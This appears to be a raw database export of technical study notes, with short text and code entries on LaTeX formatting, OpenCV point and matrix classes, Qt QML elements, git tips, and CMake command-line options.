09:45:42.763665 -168 97 \\\\begin{document}\n\\\\blindtext\n\\\\end{document} code txt 2024-07-28 09:45:42.783566 -169 98 \\\\documentclass{article}\n\\\\usepackage[utf8]{inputenc} text txt 2024-07-28 09:45:43.169157 -170 98 \\\\begin{document}\nGroß Text.\n\\\\end{document} code txt 2024-07-28 09:45:43.189472 -171 99 Newline `\\\\\\\\` can be at the end of the line we want to break. text txt 2024-07-28 09:45:43.525988 -172 99 Sample text.\\\\\\\\\nNext line of text. code txt 2024-07-28 09:45:43.547908 -173 100 \\\\textbf{Bold text} code txt 2024-07-28 09:45:43.838448 -174 101 \\\\textit{Italic text} code txt 2024-07-28 09:45:44.080845 -175 102 \\\\underline{Underline text} code txt 2024-07-28 09:45:44.341561 -176 103 usepackage(ulem) text txt 2024-07-28 09:45:44.646489 -177 103 \\\\underline{\\\\underline{Double underline text}}\n\\\\uuline{Double underline text}} code txt 2024-07-28 09:45:44.667871 -178 104 usepackage(ulem) text txt 2024-07-28 09:45:44.960653 -179 104 \\\\uwave{Wavy Underline text} code txt 2024-07-28 09:45:44.981551 -180 105 usepackage(ulem) text txt 2024-07-28 09:45:45.272629 -181 105 \\\\sout{Strikethrough text} code txt 2024-07-28 09:45:45.292618 -182 106 usepackage(ulem) text txt 2024-07-28 09:45:45.582554 -183 106 \\\\xout{Slashed out text} code txt 2024-07-28 09:45:45.603052 -184 107 usepackage(ulem) text txt 2024-07-28 09:45:45.882289 -185 107 \\\\dashuline{Dash underline text} code txt 2024-07-28 09:45:45.90191 -186 108 usepackage(ulem) text txt 2024-07-28 09:45:46.184551 -187 108 \\\\dotuline{Dotted underline text} code txt 2024-07-28 09:45:46.206711 -188 109 \\\\documentclass[11pt]{article}\n\\\\usepackage{xcolor} text txt 2024-07-28 09:45:46.580187 -189 109 \\\\begin{document}\n\\\\color{red}Colored Text\n\\\\end{document} code txt 2024-07-28 09:45:46.600801 -190 110 A rectangle has side lengths of $(x+1)$ and $(x+3)$.\nThe equation $A(x) = x^2 + 4x + 3$ gives the area of the rectangle. code txt 2024-07-28 09:45:46.897859 -191 111 Surround the math block with curly braces `${ equation }$` to protect it from\nbreakage. text txt 2024-07-28 09:45:47.226704 -192 111 A rectangle has side lengths of $(x+1)$ and $(x+3)$.\nThe equation ${A(x) = x^2 + 4x + 3}$ gives the area of the rectangle. code txt 2024-07-28 09:45:47.248442 -193 112 The equation $${A(x) = x^2 + 4x + 3}$$ gives the area of the rectangle. code txt 2024-07-28 09:45:47.518104 -194 114 - Template class `cv::Point<>` with aliases in form of `cv::Point{2,3}{i,f,d}`\n- Class `cv::Scalar<>` a four dimensional point derived from `cv::Vec`\n- Template class `cv::Vec<>` known as *fixed vector classes* with aliases in form of `cv::Vec{2,3,4,6}{b,w,s,i,f,d}`\n- Template class `cv::Matx<>` known as *fixed matrix classes* with aliases in form of `cv::Matx{1,2,3,4,6}{1,2,3,4,6}{f,d}`\n- Template class `cv::Size<>` with aliases in form of `cv::Size{2,3}{i,f,d}`\n- Class `cv::Rect<>`\n- Class `cv::RotatedRect<>`\nThe point class is a container of two or three values of one of the primitive\ntypes and are derived from their own template. text txt 2024-07-28 09:45:48.26506 -195 114 |Operation|Example|\n|---|---|\n|Default constructors|`cv::Point2i{}` `cv::Point3f{}`|\n|Copy constructor|`cv::Point3f{p}`|\n|Value constructor|`cv::Point2i{x0, x1}` `cv::Point3d{x0, x1, x2}`|\n|Cast to fixed vector|`(cv::Vec3d) cv::Point3d{}`|\n|Member access|`p.x` `p.y`|\n|Dot product|`float x = p1.dot(p2)`|\n|Double-precision dot product|`double x = p1.ddot(p2)`|\n|Cross product|`p1.cross(p2)`|\n|Query if Point is inside Rect|`p.inside(r)`| text txt 2024-07-28 09:45:48.286719 -196 115 A four-dimensional point class derived from `cv::Vec` inheriting\nall of the vector algebra operations, member access functions, and other\nproperties. text txt 2024-07-28 09:45:48.693946 -197 116 |Operation|Example|\n|---|---|\n|Default constructor|`cv::Scalar{}`|\n|Copy constructor|`cv::Scalar{s}`|\n|Value constructor|`cv::Scalar{x0}` `cv::Scalar{x0, x1, x2, x3}`|\n|Element-wise multiplication|`s1.mul(s2)`|\n|Conjugation|`s.conj()`|\n|Real test|`s.isReal()`|\nThe size classes are similar to point classes, and can be cast to and from\nthem. The primary difference is that the point data members are named `x` and\n`y`, while the size data members are named `width` and `height`. text txt 2024-07-28 09:45:49.06236 -198 116 |Operation|Example|\n|---|---|\n|Default constructor|`cv::Size{}` `cv::Size2i{}` `cv::Size2f{}`|\n|Copy constructor|`cv::Size{s}`|\n|Value constructor|`cv::Size2f{w, h}`|\n|Member access|`sz.width` `sz.height`|\n|Compute area|`sz.area()`| text txt 2024-07-28 09:45:49.082336 -199 117 Similar to `cv::Point` class there are `x` and `y` data members in `cv::Rect`\nclass. Additionally, there are `width` and `height` data members. text txt 2024-07-28 09:45:49.677004 -200 117 |Operation|Example|\n|---|---|\n|Default constructor|`cv::Rect{}`|\n|Copy constructor|`cv::Rect{r}`|\n|Value constructor|`cv::Rect{x, y, w, h}`|\n|Construct from origin and size|`cv::Rect{p, sz}`|\n|Construct from two corners|`cv::Rect{tl, br}`|\n|Member access|`r.x` `r.y` `r.width` `r.height`|\n|Compute area|`r.area()`|\n|Extract upper-left corner|`r.tl()`|\n|Extract bottom-right corner|`r.br()`|\n|Determine if a point is inside|`r.contains(p)`|\n|Intersection of rectangles|`r1 &= r2`|\n|Minimum area rectangle|`r1 |= r2`|\n|Translate rectangle by an amount|`r += x`|\n|Enlarge rectangle by size|`r += s`|\n|Compare rectangles for exact quality|`r1 == r2`|\n|Compare rectangles for inequality|`r1 != r2`| text txt 2024-07-28 09:45:49.699798 -201 118 A non-template class holding a `cv::Point2f` member called `center`, a\n`cv::Size2f` called `size`, and one additional `float` called `angle`, with\nthe latter representing the rotation of the rectangle around `center`. text txt 2024-07-28 09:45:50.142573 -202 118 |Operation|Example|\n|---|---|\n|Default constructor|`cv::RotatedRect{}`|\n|Copy constructor|`cv::RotatedRect{rr}`|\n|Value constructor|`cv::RotatedRect{p, sz, theta}`|\n|Construct from two corners|`cv::RotatedRect{p1, p2}`|\n|Member access|`rr.center` `rr.size` `rr.angle`|\n|Return a list of corners|`rr.points{pts[4]}`| text txt 2024-07-28 09:45:50.164594 -203 119 A matrix whose dimensions are known at compile time. The fixed vector class\nderives from the fixed matrix class, and other classes either derive frmo the\nfixed vector class or they rely on casting to the fixed vector class for many\nimportant operations. text txt 2024-07-28 09:45:50.969582 -204 119 |Operation|Example|\n|---|---|\n|Default constructor|`cv::Matx33f{}` `cv::Matx43d{}`|\n|Copy constructor|`cv::Matx22d{n22d}`|\n|Value constructor|`cv::Matx21f{x0, x1}` `cv::Matx22d{x0,x1,x2,x3}`|\n|Matrix of identical elements|`cv::Matx33f::all(x)`|\n|Matrix of zeros|`cv::Matx23d::zeros()`|\n|Matrix of ones|`cv::Matx16f::ones()`|\n|Unit matrix|`cv::Matx33f::eye()`|\n|Diagonal of matrix|`m31f = cv::Matx33f::diag()`|\n|Matrix of uniformly distributed entries|`m33f = cv::Matx33f::randu(min, max)`|\n|Matrix of normally distributed entries|`m33f = cv::Matx33f::nrandn(mean, variance)`|\n|Member access|`m(i,j)` `m(i)`|\n|Matrix algebra|`m1 = m0` `m0 * m1` `m0 + m1` `m0 - m1`|\n|Singelton algebra|`m * a` `a * m` `m / a`|\n|Comparison|`m1 == m2` `m1 != m2`|\n|Dot product|`m1.dot(m2)`|\n|Double-precision dot product|`m1.ddot(m2)`|\n|Reshape matrix|`m91f = m33f.reshape<9, 1>()`|\n|Extract submatrix|`m44f.get_minor<2, 2>(i, j)`|\n|Extract row|`m41f = m44f.row(i)`|\n|Extract column|`m14f = m44f.col(j)`|\n|Extract diagonal|`m41f = m44f.diag()`|\n|Matrix Transpose|`n44f = m44f.t()`|\n|Invert Matrix|`n44f = m44f.inv(method = cv::DECOMP_LU)`|\n|Solve linear system|`m31f = m33f.solve(rhs31f, method)`|\n|Per-element multiplication|`m1.mul(m2)`| text txt 2024-07-28 09:45:50.994427 -205 120 The fixed vector classes are derived from fixed matrix classes. text txt 2024-07-28 09:45:51.370793 -206 120 Alias templates are `cv::Vec{2,3,4,6}{b,s,w,i,f,d}` text txt 2024-07-28 09:45:51.391763 -207 120 |Operation|Example|\n|---|---|\n|Default constructor|`cv::Vec2s{}` `cv::Vec6d{}`|\n|Copy constructor|`cv::Vec3f{v3f}`|\n|Value constructor|`cv::Vec2f{x0, x1}` `cv::Vec6d{x0,x1,x2,x3,x4,x5}`|\n|Member access|`v4f[i]` `v3w(j)`|\n|Cross-product|`v3f.cross(u3f)`| text txt 2024-07-28 09:45:51.412987 -208 121 The `cv::Complex` template class is not indentical to, but is compatible\nwith, and can be cast to and from, the `std::complex<>`. text txt 2024-07-28 09:45:51.842173 -209 121 In `std::complex<>` the real and imaginary parts are accessed through the\nmember functions `real()` and `imag()`, while in `cv::Complex<>` they are\ndirectly accessible as public members `re` and `im`. text txt 2024-07-28 09:45:51.862235 -210 121 |Operation|Example|\n|---|---|\n|Default constructor|`cv::Complexf{}` `cv::Complexd{}`|\n|Copy constructor|`cv::Complexd{c}`|\n|Value constructor|`cv::Complexd{re)` `cv::Complexd{re, im}`|\n|Member access|`z1.re` `z2.im`|\n|Complex conjugate|`z2 = z1.conj()`| text txt 2024-07-28 09:45:51.882772 -211 122 - Open source: qt.io/download-open-source\n- Commercial: qt.io/download text txt 2024-07-28 09:45:52.27211 -212 122 chmod u+x qt*.run\n./qt*.run code txt 2024-07-28 09:45:52.292169 -213 123 You can select new components to download and install or unselect them to\nremove them from your installation. text txt 2024-07-28 09:45:52.61001 -214 123 ${QT_DIR}/MaintenanceTool.exe code txt 2024-07-28 09:45:52.630159 -215 124 A runtime called the QmlEngine which loads the initial QML code. The\ndeveloper can register C++ types with the runtime to interface with the\nnative code. The `qml` tool is a pre-made runtime which is used directly. text txt 2024-07-28 09:45:52.934747 -216 125 import QtQuick text txt 2024-07-28 09:45:53.334412 -217 125 Window {\n width: 640\n height: 480\n visible: true\n title: qsTr("Sample")\n} code txt 2024-07-28 09:45:53.355139 -218 126 - `Item`\n- `Rectangle`\n- `Text`\n- `Image`\n- `MouseArea` text txt 2024-07-28 09:45:53.680215 -219 127 `Item` is the base element for all visual elements as such all other visual\nelements inherits from `Item`. It doesn’t paint anything by itself but\ndefines all properties which are common across all visual elements. text txt 2024-07-28 09:45:53.998369 -220 127 The `Item` element is often used as a container for other elements, similar\nto the `div` element in HTML. text txt 2024-07-28 09:45:54.018013 -221 128 - **Geometry**: `x`, `y`, `width`, `height`, `z`\n- **Layouts**: `anchors`, `margins`\n- **Keys**: `Key`, `KeyNavigation`, `focus`\n- **Transformation**: `scale`, `rotate`, `transform`, `transformOrigin`\n- **Visual**: `opacity`, `visible`, `clip`, `smooth`\n- **State**: `states`, `state`, `transitions` text txt 2024-07-28 09:45:54.304258 -222 129 - `visible`\n- `visibilitity`\n- `title` text txt 2024-07-28 09:45:54.544309 -223 130 import QtQuick text txt 2024-07-28 09:45:54.991458 -224 130 Window {\n id: window\n width: 300\n height: 600\n visible: true\n visibility: Window.Maximized\n title: qsTr("Image Viewer")\n} code txt 2024-07-28 09:45:55.011147 -225 131 `Rectangle` extends `Item` and adds following properties: text txt 2024-07-28 09:45:55.320142 -226 131 - `color`\n- `border`: `border.radius`, `border.color`\n- `radius` text txt 2024-07-28 09:45:55.339107 -227 132 import QtQuick text txt 2024-07-28 09:45:55.745651 -228 132 Rectangle {\n id: root\n width: 600\n height: 400\n color: 'lightsteelblue'\n} code txt 2024-07-28 09:45:55.765589 -229 133 import QtQuick text txt 2024-07-28 09:45:56.515701 -230 133 Window {\n id: window\n width: 640\n height: 480\n visible: true\n title: qsTr("Image Viewer") text txt 2024-07-28 09:45:56.537769 -231 133 Text {\n id: text\n anchors.centerIn: parent\n width: 100\n height: 30\n color: 'black'\n horizontalAlignment: Text.AlignHCenter\n verticalAlignment: Text.AlignVCenter\n font.family: 'Ubuntu'\n font.pixelSize: 18\n text: 'Sample Text'\n KeyNavigation.tab: other_text\n focus: true\n onHeightChanged: console.log('height: ', height)\n }\n} code txt 2024-07-28 09:45:56.55843 -232 134 The alias keyword allows us to forward a property of an object or an object\nitself from within the type to an outer scope. A property alias does not need\na type, it uses the type of the referenced property or object. text txt 2024-07-28 09:45:56.877291 -233 134 property alias : code txt 2024-07-28 09:45:56.897439 -234 135 For every property, you can provide a signal handler. This handler is called after the property changes. text txt 2024-07-28 09:45:57.139054 -235 135 code txt 2024-07-28 09:45:57.159945 -236 136 Text {\n id: label text txt 2024-07-28 09:45:57.762077 -237 136 onTextChanged: function(text) {\n console.log("text changed to:", text)\n } text txt 2024-07-28 09:45:57.783094 -238 136 Keys.onSpacePressed: {\n log()\n } text txt 2024-07-28 09:45:57.804197 -239 136 Keys.onEscapePressed: {\n log()\n } text txt 2024-07-28 09:45:57.824244 -240 136 function log() {\n console.log('key pressed')\n }\n} code txt 2024-07-28 09:45:57.844816 -241 137 First, create a qrc resource file and add the image `assets/sample.png` as a\nresource. text txt 2024-07-28 09:45:58.608428 -242 137 Then, modify `CMakeLists.txt` file to include `.qrc` file in your project. text txt 2024-07-28 09:45:58.62916 -243 137 qt_add_resources(RESOURCE_FILES assets.qrc)\nqt_add_executable(appsample\n main.cpp\n ${RESOURCE_FILES}\n) code txt 2024-07-28 09:45:58.64901 -244 137 Finally, add the image in an `Image` component: text txt 2024-07-28 09:45:58.668773 -245 137 import QtQuick text txt 2024-07-28 09:45:58.690062 -246 137 Window {\n id: window\n width: 680\n height: 460 text txt 2024-07-28 09:45:58.710829 -247 137 Image {\n id: image\n anchors.centerIn: parent\n source: 'qrc:/assets/sample.png'\n }\n} code txt 2024-07-28 09:45:58.732659 -248 138 code txt 2024-07-28 09:45:58.975832 -249 139 The mouse area is often used together with a visible item to execute commands\nwhen the user interacts with the visual part. text txt 2024-07-28 09:45:59.518265 -250 139 import QtQuick text txt 2024-07-28 09:45:59.539148 -251 139 Rectangle {\n id: button\n width: 60\n height: 25\n color: 'lightsteelblue'\n MouseArea {\n id: clickable_area\n anchors.fill: parent\n onClicked: image.visibility = !image.visilibity\n }\n} code txt 2024-07-28 09:45:59.558873 -252 140 QML provides different ways to create components: text txt 2024-07-28 09:45:59.846312 -253 140 - File-based component\n- text txt 2024-07-28 09:45:59.867144 -254 141 code txt 2024-07-28 09:46:00.071191 -255 142 import QtQuick text txt 2024-07-28 09:46:00.771185 -256 142 Rectangle {\n id: root\n width: 100\n height: 300\n color: 'lightsteelblue' text txt 2024-07-28 09:46:00.793135 -257 142 property alias text: label.text\n signal clicked text txt 2024-07-28 09:46:00.814236 -258 142 Text {\n id: label\n anchors.centerIn: parent\n text: 'start'\n } text txt 2024-07-28 09:46:00.835572 -259 142 MouseArea {\n anchors.fill: parent\n onClicked: { root.clicked() }\n }\n} code txt 2024-07-28 09:46:00.856431 -260 143 There are 145 commands in git in total, 82 porcelain commands and 63 plumbing\ncommands. text txt 2024-07-28 09:46:01.219279 -261 143 - 44 main commands `add`, `commit`, `push`, ...\n- 11 manipulators `config`, `reflog`, `replace`, ...\n- 17 interrogators `blame`, `fsck`, `rerere`, ...\n- 10 interactors `send-email`, `p4`, `svn`, ... text txt 2024-07-28 09:46:01.239346 -262 144 There are 145 commands in git in total, 82 porcelain commands and 63 plumbing\ncommands. text txt 2024-07-28 09:46:01.5819 -263 144 - 19 manipulators `apply`, `commit-tree`, `update-ref`, ...\n- 21 interrogators `cat-file`, `for-each-ref`, ...\n- 5 syncing `fetch-pack`, `send-pack`, ...\n- 18 internal `check-attr`, `sh-i18n`, ... text txt 2024-07-28 09:46:01.601872 -264 145 A sample use case is to use different git config when you are in work and\nopen source software directory. text txt 2024-07-28 09:46:02.009786 -265 145 [includeIf "gitdir:~/projects/work/"]\n path = ~/projects/work/.gitconfig text txt 2024-07-28 09:46:02.031547 -266 145 [includeIf "gitdir:~/projects/oss/"]\n path = ~/projects/oss/.gitconfig code txt 2024-07-28 09:46:02.052945 -267 146 git config --global gpg.format ssh\ngit config --global user.signingkey ~/.ssh/id_rsa.pub\ngit commit -S code txt 2024-07-28 09:46:02.463498 -268 146 You can see that your signature is appended to your commit files: text txt 2024-07-28 09:46:02.48262 -269 146 git cat-file -p HEAD code txt 2024-07-28 09:46:02.502465 -270 147 git config --global alias.bb better-branch.sh code txt 2024-07-28 09:46:02.777562 -271 148 Command `branch` will list branches each in a row. text txt 2024-07-28 09:46:03.195757 -272 148 git branch code txt 2024-07-28 09:46:03.215915 -273 148 Newer `--column` option will put branches on columns to avoid using a pager. text txt 2024-07-28 09:46:03.236725 -274 148 git branch --column code txt 2024-07-28 09:46:03.257888 -275 149 git config --global column.ui auto\ngit config --global branch.sort -committerdate code txt 2024-07-28 09:46:03.560415 -276 150 git stash --all code txt 2024-07-28 09:46:03.952686 -277 150 It is suggested by the community to have this alias: text txt 2024-07-28 09:46:03.973426 -278 150 git config --global alias.staash 'stash --all' code txt 2024-07-28 09:46:03.993779 -279 151 git log -L 25,34:src/main.cpp code txt 2024-07-28 09:46:04.285545 -280 152 git log -S regex_match -p code txt 2024-07-28 09:46:04.544563 -281 153 Forcing push will remove all the changes that others have made since that\nlast common change you have made. The option `--force-with-lease` will only\npushes the rebased changes when there is no other changes pushed by other\nsince your last common changes. text txt 2024-07-28 09:46:04.904246 -282 153 git push --force-with-lease code txt 2024-07-28 09:46:04.924418 -283 154 This feature is not supported by GitHub or GitLab. text txt 2024-07-28 09:46:05.215312 -284 154 git push --signed code txt 2024-07-28 09:46:05.235129 -285 155 By partially cloning the repository and skipping the blobs: text txt 2024-07-28 09:46:05.590275 -286 155 git clone --filter=blob:none\ngit clone --filter=true:0 code txt 2024-07-28 09:46:05.610349 -287 156 Graphs and blames will download the rest of required data on demand to\ngenerate results which will take time. text txt 2024-07-28 09:46:05.945109 -288 156 git clone --filter=blob:none\ngit blame lib/nlattr.c code txt 2024-07-28 09:46:05.965979 -289 157 git ls-remote code txt 2024-07-28 09:46:06.248923 -290 158 git config remote.origin.fetch '+refs/pull/*:refs/remotes/origin/pull/*'\ngit fetch code txt 2024-07-28 09:46:06.54479 -291 159 git blame -L 25,34:src/main.cpp code txt 2024-07-28 09:46:06.813641 -292 160 git blame -w code txt 2024-07-28 09:46:07.064871 -293 161 git blame -w -C code txt 2024-07-28 09:46:07.317974 -294 162 git blame -w -C -C code txt 2024-07-28 09:46:07.571448 -295 163 git blame -w -C -C -C -L 24,35:src/main.cpp code txt 2024-07-28 09:46:07.831079 -296 164 Reflog is a log of your references. text txt 2024-07-28 09:46:08.176451 -297 164 Whenever the `HEAD` is pointing at something, it has a log of that in reflog. text txt 2024-07-28 09:46:08.197856 -298 164 git reflog code txt 2024-07-28 09:46:08.220067 -299 165 git diff code txt 2024-07-28 09:46:08.496413 -300 166 git diff --word-diff code txt 2024-07-28 09:46:08.756089 -301 167 This feature records how you had a conflict and how you fixed it, so that it\nwill solve your conflicts automatically next time you hit similar conflict. text txt 2024-07-28 09:46:09.017666 -302 168 git config --global rerere.enabled true code txt 2024-07-28 09:46:09.291829 -303 169 It adds following lines to `.git/config` file: text txt 2024-07-28 09:46:09.648409 -304 169 [maintainance]\n auto = false\n strategy = incremental code txt 2024-07-28 09:46:09.668502 -305 170 By running maintainance, git starts a cron job running tasks reguarly. text txt 2024-07-28 09:46:10.039069 -306 170 A few of these tasks are: text txt 2024-07-28 09:46:10.059825 -307 170 - `gc: disabled`\n- `commit-graph: hourly`\n- `prefetch: hourly`\n- `loose-objects: daily`\n- `incremental-repack: daily`\n- `pack-refs: none` text txt 2024-07-28 09:46:10.081038 -308 171 Commit graph creates a graph of commits stored separately on disk and makes\ngit commands very faster to run for large projects. text txt 2024-07-28 09:46:10.413376 -309 171 git commit-graph write code txt 2024-07-28 09:46:10.432857 -310 172 This command should be done manually once, and then let git update the graph\nover next fetches. text txt 2024-07-28 09:46:10.746206 -311 172 git config --global fetch.writecommitgraph true code txt 2024-07-28 09:46:10.767121 -312 173 Launches a daemon that looks at the filesystem and watches for inode events\nand updates the cache in memory and tells git which files was changed every\ntime git tries to stat the files. text txt 2024-07-28 09:46:11.188258 -313 173 git config core.untrackedcache true\ngit config core.fsmonitor true code txt 2024-07-28 09:46:11.209273 -314 173 First status command launches this mechanism, so it would make more time to\nfinish, but subsequent calls will be fast. text txt 2024-07-28 09:46:11.22926 -315 174 code txt 2024-07-28 09:46:11.500601 -316 175 git sparse-checkout code txt 2024-07-28 09:46:11.820015 -317 176 cmake -S ./project -B ./build code txt 2024-07-28 09:46:12.124909 -318 177 Selecting and configuring a generator decides which build tool from our\nsystem will be used for building. This can be overridden by the\n`CMAKE_GENERATOR` environment variable or by specifying the generator\ndirectly on the command line. text txt 2024-07-28 09:46:12.452251 -319 177 cmake -G code txt 2024-07-28 09:46:12.473455 -320 178 Some generators (such as Visual Studio) support a more in-depth specification\nof a toolset (compiler) and platform (compiler or SDK). Additionally, these\nhave respective environment variables that override the default values:\n`CMAKE_GENERATOR_TOOLSET` and `CMAKE_GENERATOR_PLATFORM`. text txt 2024-07-28 09:46:12.83039 -321 178 cmake -G -T -A   code txt 2024-07-28 09:46:12.850866 -322 179 We can provide a path to the CMake script, which (only) contains a list of\n`set()` commands to specify variables that will be used to initialize an\nempty build tree. text txt 2024-07-28 09:46:13.158594 -323 179 cmake -C code txt 2024-07-28 09:46:13.180608 -437 238 (gdb) break source.cpp:8\n(gdb) break source.cpp:22 code txt 2024-07-28 09:46:33.064268 -324 180 The initialization and modification of existing cache variables can be done\nin command line, as follows: text txt 2024-07-28 09:46:13.601593 -325 180 cmake -D [:]= code txt 2024-07-28 09:46:13.623314 -326 180 The `:` section is optional (it is used by GUIs); you can use `BOOL`,\n`FILEPATH`, `PATH`, `STRING`, or `INTERNAL`. text txt 2024-07-28 09:46:13.643304 -327 180 If you omit the type, it will be set to the type of an already existing\nvariable; otherwise, it will be set to `UNINITIALIZED`. text txt 2024-07-28 09:46:13.665267 -328 181 For single-configuration generators (such as Make and Ninja), you'll need to\nspecify it during the configuration phase with the `CMAKE_BUILD_TYPE`\nvariable and generate a separate build tree for each type of config: text txt 2024-07-28 09:46:14.130521 -329 181 * `Debug`\n* `Release`\n* `MinSizeRel`\n* `RelWithDebInfo` text txt 2024-07-28 09:46:14.149894 -330 181 cmake -S . -B build -D CMAKE_BUILD_TYPE=Release code txt 2024-07-28 09:46:14.170565 -331 181 Custom variables that are added manually with the `-D` option won't be\nvisible in cache variables list unless you specify one of the supported\ntypes. text txt 2024-07-28 09:46:14.190674 -332 182 cmake -U code txt 2024-07-28 09:46:14.532692 -333 182 Here, the globbing expression supports the `*` wildcard and any `?` character\nsymbols. Both of the `-U` and `-D` options can be repeated multiple times. text txt 2024-07-28 09:46:14.553326 -334 183 cmake -L[A][H] code txt 2024-07-28 09:46:14.946407 -335 183 Such a list will contain cache variables that aren't marked as `ADVANCED`. We\ncan change that by adding the `A` modifier. text txt 2024-07-28 09:46:14.966351 -336 183 To print help messages with variables, add the `H` modifier. text txt 2024-07-28 09:46:14.986954 -337 183 Custom variables that are added manually with the `-D` option won't be\nvisible unless you specify one of the supported types. text txt 2024-07-28 09:46:15.006836 -338 184 cmake --system-information [output-file] code txt 2024-07-28 09:46:15.356748 -339 184 The optional file argument allows you to store the output in a file. text txt 2024-07-28 09:46:15.378095 -340 184 Running it in the build tree directory will print additional information\nabout the cache variables and build messages from the log files. text txt 2024-07-28 09:46:15.39901 -341 185 By default, the log level is `STATUS`. text txt 2024-07-28 09:46:15.886735 -342 185 cmake --log-level= code txt 2024-07-28 09:46:15.906806 -343 185 Here, level can be any of the following: text txt 2024-07-28 09:46:15.927635 -344 185 * `ERROR`\n* `WARNING`\n* `NOTICE`\n* `STATUS`\n* `VERBOSE`\n* `DEBUG`\n* `TRACE` text txt 2024-07-28 09:46:15.947187 -345 186 You can specify this setting permanently in the `CMAKE_MESSAGE_LOG_LEVEL`\ncache variable. text txt 2024-07-28 09:46:16.161243 -346 187 To debug very complex projects, the `CMAKE_MESSAGE_CONTEXT` variable can be\nused like a stack. Whenever your code enters a specific context, you can add\na descriptive name to the stack and remove it when leaving. By doing this,\nour messages will be decorated with the current `CMAKE_MESSAGE_CONTEXT`\nvariable like so: text txt 2024-07-28 09:46:16.656543 -347 187 ```\n[some.context.example] Debug message\n`````` text txt 2024-07-28 09:46:16.677646 -348 187 The option to enable this kind of log output is as follows: text txt 2024-07-28 09:46:16.697284 -349 187 cmake --log-context code txt 2024-07-28 09:46:16.716379 -350 188 If all logging options fail there is always trace mode. text txt 2024-07-28 09:46:17.055239 -351 188 Trace mode will print every command with the filename and exact line number\nit is called from alongside its arguments. text txt 2024-07-28 09:46:17.075992 -352 188 cmake --trace code txt 2024-07-28 09:46:17.095521 -353 189 Developers can simplify how users interact with their projects and provide a\n`CMakePresets.json` file that specifies some defaults. text txt 2024-07-28 09:46:17.314141 -354 190 cmake --list-presets code txt 2024-07-28 09:46:17.545908 -355 191 cmake --preset= code txt 2024-07-28 09:46:17.851878 -356 191 These values override the system defaults and the environment. However, at\nthe same time, they can be overridden with any arguments that are explicitly\npassed on the command line. text txt 2024-07-28 09:46:17.873128 -357 193 Since there is no concept of a source/build tree in scripts, variables that\nusually hold references to these paths will contain the current working\ndirectory instead: `CMAKE_BINARY_DIR`, `CMAKE_SOURCE_DIR`,\n`CMAKE_CURRENT_BINARY_DIR`, and `CMAKE_CURRENT_SOURCE_DIR`.\ncmake --build [] [-- ] code txt 2024-07-28 09:46:18.350787 -358 194 CMake allows you to specify key build parameters that work for every builder.\nIf you need to provide special arguments to your chosen, native builder, pass\nthem at the end of the command after the `--` token. text txt 2024-07-28 09:46:18.663427 -359 194 cmake --build -- code txt 2024-07-28 09:46:18.683814 -360 195 Builders know the structure of project dependencies, so they can\nsimultaneously process steps that have their dependencies met to save time. text txt 2024-07-28 09:46:19.073588 -361 195 cmake --build --parallel []\ncmake --build -j [] code txt 2024-07-28 09:46:19.095155 -362 195 The alternative is to set it with the `CMAKE_BUILD_PARALLEL_LEVEL`\nenvironment variable. text txt 2024-07-28 09:46:19.116243 -363 196 Every project is made up of one or more parts, called targets. Usually, we'll\nwant to build all of them; However, on occasion, we might be interested in\nskipping some or explicitly building a target that was deliberately excluded\nfrom normal builds. text txt 2024-07-28 09:46:19.450562 -364 196 cmake --build --target -t ... code txt 2024-07-28 09:46:19.471887 -365 197 cmake --build -t clean\ncmake --build --target clean code txt 2024-07-28 09:46:19.752136 -366 198 cmake --build --clean-first code txt 2024-07-28 09:46:20.019685 -367 199 cmake --build --verbose\ncmake --build -v code txt 2024-07-28 09:46:20.3618 -368 199 The same effect can be achieved by setting the `CMAKE_VERBOSE_MAKEFILE`\ncached variable. text txt 2024-07-28 09:46:20.382442 -369 200 cmake --install [] code txt 2024-07-28 09:46:20.661684 -370 201 We can specify which build type we want to use for our installation. The\navailable types include: text txt 2024-07-28 09:46:21.075658 -371 201 * `Debug`\n* `Release`\n* `MinSizeRel`\n* `RelWithDebInfo` text txt 2024-07-28 09:46:21.096782 -372 201 cmake --install --config code txt 2024-07-28 09:46:21.115483 -373 202 As a developer, you might choose to split your project into components that\ncan be installed independently. This might be something like application,\ndocs, and extra-tools. text txt 2024-07-28 09:46:21.427146 -374 202 cmake --install --component code txt 2024-07-28 09:46:21.447472 -375 203 If installation is carried on a Unix-like platform, you can specify default\npermissions for the installed directories, with the following option, using\nthe format of `u=rwx,g=rx,o=rx`: text txt 2024-07-28 09:46:21.792862 -376 203 cmake --install   --default-directory-permissions code txt 2024-07-28 09:46:21.813417 -547 275 template \nclass test {}; text txt 2024-07-28 09:46:51.401093 -377 204 We can prepend the installation path specified in the project configuration\nwith a prefix of our choice: text txt 2024-07-28 09:46:22.110215 -378 204 cmake --install --prefix code txt 2024-07-28 09:46:22.130551 -379 205 cmake --install -v\ncmake --install --verbose code txt 2024-07-28 09:46:22.506106 -380 205 The same effect can be achieved if the `VERBOSE` environment variable is set. text txt 2024-07-28 09:46:22.526641 -381 205 VERBOSE=1 cmake --build code txt 2024-07-28 09:46:22.546643 -382 206 cmake -D = -P -- ... code txt 2024-07-28 09:46:22.816878 -383 207 There are two ways you can pass values to scripts: text txt 2024-07-28 09:46:23.228932 -384 207 * Through variables defined with the `-D` option.\n* Through arguments that can be passed after a `--` token. text txt 2024-07-28 09:46:23.248642 -385 207 cmake [{-D =}...] -P   [-- ...]\ncmake -D CMAKE_BUILD_TYPE=Release -P script.cmake  -- --verbose code txt 2024-07-28 09:46:23.268892 -386 207 CMake will create `CMAKE_ARGV` variables for all arguments passed to the\nscript (including the `--` token). text txt 2024-07-28 09:46:23.290575 -387 208 On rare occasions, we might need to run a single command in a\nplatform-independent way – perhaps copy a file or compute a checksum. text txt 2024-07-28 09:46:23.606228 -388 208 cmake -E [] code txt 2024-07-28 09:46:23.6259 -389 209 cmake -E code txt 2024-07-28 09:46:23.874976 -390 210 cmake ––help[-]\ncmake --help-commands file code txt 2024-07-28 09:46:24.170911 -391 211 The simplest way to run tests for a built project is to call ctest in the\ngenerated build tree: text txt 2024-07-28 09:46:24.523912 -392 211 ctest code txt 2024-07-28 09:46:24.544688 -393 212 Files that contain the CMake language are called listfiles and can be\nincluded one in another, by calling `include()` and `find_package()`, or\nindirectly with `add_subdirectory()` text txt 2024-07-28 09:46:25.040491 -394 212 CMake projects are configured with `CMakeLists.txt` listfiles. text txt 2024-07-28 09:46:25.060414 -395 212 It should contain at least two commands: text txt 2024-07-28 09:46:25.080177 -396 212 cmake_minimum_required(VERSION )\nproject( ) code txt 2024-07-28 09:46:25.101148 -397 212 We also have an `add_subdirectory(api)` command to include 